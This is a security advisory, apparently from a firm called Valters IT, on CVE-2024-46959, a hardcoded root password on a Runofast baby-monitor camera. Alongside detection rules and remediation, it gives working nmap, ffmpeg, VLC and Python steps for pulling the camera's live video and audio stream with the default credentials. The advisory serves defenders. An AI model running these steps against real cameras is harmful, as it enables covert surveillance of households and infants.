CVE-2024-46959

Executive Summary

CVE-2024-46959 exposes a critical security flaw in the Runofast Indoor Security Camera for Baby Monitor. The device ships with a hardcoded default password of password for the root account. This allows any unauthenticated attacker on the network to access the live video and audio stream via the RTSP protocol at the /stream1 URI. The vulnerability is trivial to exploit, requires no authentication, and poses a severe privacy risk to users, particularly families with infants. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an IoT device. The risk is introduced at the point of manufacturing and initial device configuration, with no mechanism for automatic updates or credential rotation.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The attacker can exploit this from anywhere on the same network.
• Attack Complexity (AC): Low – No special conditions or timing required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the camera itself.
• Confidentiality (C): High – Full access to live video and audio.
• Integrity (I): None – No data modification possible.
• Availability (A): None – No denial of service.

Threat Level: High. The exploit is publicly known, trivial to execute, and directly exposes private family moments.

Deep Dive & Mechanics

The Runofast Indoor Security Camera runs an embedded Linux system with an RTSP server. The root account is configured with the default password password during manufacturing. This credential is hardcoded and cannot be changed via the standard user interface. The RTSP server listens on TCP port 554 and exposes the /stream1 endpoint for video and audio streaming.

When an attacker connects to the camera via RTSP, they can authenticate using the root account and the default password. The RTSP protocol then streams the raw H.264 video and audio data. No encryption is applied to the stream, allowing passive eavesdropping.

The vulnerability is classified as CWE-798 (Use of Hard-coded Credentials). The root account is intended for maintenance but is left accessible with a weak, well-known password.

Vulnerable vs. Patched Code

Vulnerable Configuration (Default): The camera's /etc/passwd or shadow file contains:

root:password:0:0:root:/root:/bin/sh

The RTSP server configuration (e.g., in /etc/rtsp-simple-server.yml) allows root login:

paths:
  stream1:
    runOnInit: ffmpeg -i /dev/video0 -f rtsp rtsp://localhost:8554/stream1
    readUser: root
    readPass: password

Patched Configuration (Hypothetical): A patched firmware would enforce a unique, randomly generated password during first boot, or disable root login entirely:

paths:
  stream1:
    readUser: admin
    readPass: ${RANDOM_PASSWORD}

Additionally, the root account would be locked:

root:!:0:0:root:/root:/bin/sh

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Network access to the camera (same LAN or via port forwarding).
• A tool like ffmpeg, VLC, or rtsp-client.

Exploitation Steps:

1. Scan the network for cameras on port 554:

   nmap -p 554 --open 192.168.1.0/24
   

2. Connect to the RTSP stream using the default credentials:

   ffmpeg -i rtsp://root:password@192.168.1.100:554/stream1 -c copy output.mp4
   

   Or using VLC:

   vlc rtsp://root:password@192.168.1.100:554/stream1
   

3. The video and audio will be recorded or streamed live.

Automated Exploit (Python):

import cv2

cap = cv2.VideoCapture("rtsp://root:password@192.168.1.100:554/stream1")
while True:
    ret, frame = cap.read()
    if ret:
        cv2.imshow('Camera Feed', frame)
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break
cap.release()
cv2.destroyAllWindows()

Blue Team (Defender)

Detection:

• Monitor for multiple RTSP authentication attempts with the username root.
• Alert on connections to port 554 from unexpected external IPs.
• Use network segmentation to isolate IoT devices.

Mitigation:

• Change the root password immediately via SSH or serial console:

  ssh root@192.168.1.100
  passwd
  

• Disable RTSP if not needed, or restrict access via firewall:

  iptables -A INPUT -p tcp --dport 554 -j DROP
  

• Update firmware if a patch becomes available.

Indicators of Compromise (IOCs)

Network IOCs:

• RTSP connections to port 554 with username root.
• Unusual outbound traffic from the camera to unknown IPs on port 554.
• Repeated authentication failures followed by a successful login.

File IOCs:

• Presence of recorded video files (.mp4, .avi) from the camera.
• Log entries in /var/log/messages showing RTSP authentication:

  rtsp-server[1234]: authentication success for user root
  

System IOCs:

• Unauthorized SSH sessions from unknown IPs.
• Modified /etc/shadow file if attacker changes password.

Detection Engineering

YARA Rule

rule CVE_2024_46959_Runofast_RTSP_Default_Creds {
    meta:
        description = "Detects RTSP authentication attempts with default root password on Runofast cameras"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-46959"
    strings:
        $rtsp_auth = "DESCRIBE rtsp://" ascii wide nocase
        $root_user = "root" ascii wide nocase
        $default_pass = "password" ascii wide nocase
    condition:
        $rtsp_auth and $root_user and $default_pass
}

Sigma Rule

title: Runofast Camera Default RTSP Credential Usage
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicating use of default root password for RTSP stream access on Runofast cameras.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 554
        protocol: rtsp
        payload|contains: 
            - 'root'
            - 'password'
    condition: selection
falsepositives:
    - Legitimate administrative access if password was changed
level: high

Suricata Rule

alert tcp any any -> any 554 (msg:"CVE-2024-46959 Runofast Camera Default RTSP Credentials"; flow:to_server,established; content:"DESCRIBE"; content:"rtsp://"; content:"root"; content:"password"; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the root password via SSH or serial console.
2. Disable RTSP if not required, or restrict access to trusted IPs only.
3. Place the camera on a separate VLAN with strict firewall rules.

Long-Term Fixes:

• Vendor must release a firmware update that enforces a unique password on first boot.
• Implement mutual TLS for RTSP streams.
• Disable root login and use a non-privileged user.

Workarounds:

• Use a network-level proxy that requires authentication before forwarding RTSP traffic.
• Monitor for unauthorized access using the provided detection rules.

Valters IT
Securing IoT, One Default Password at a Time.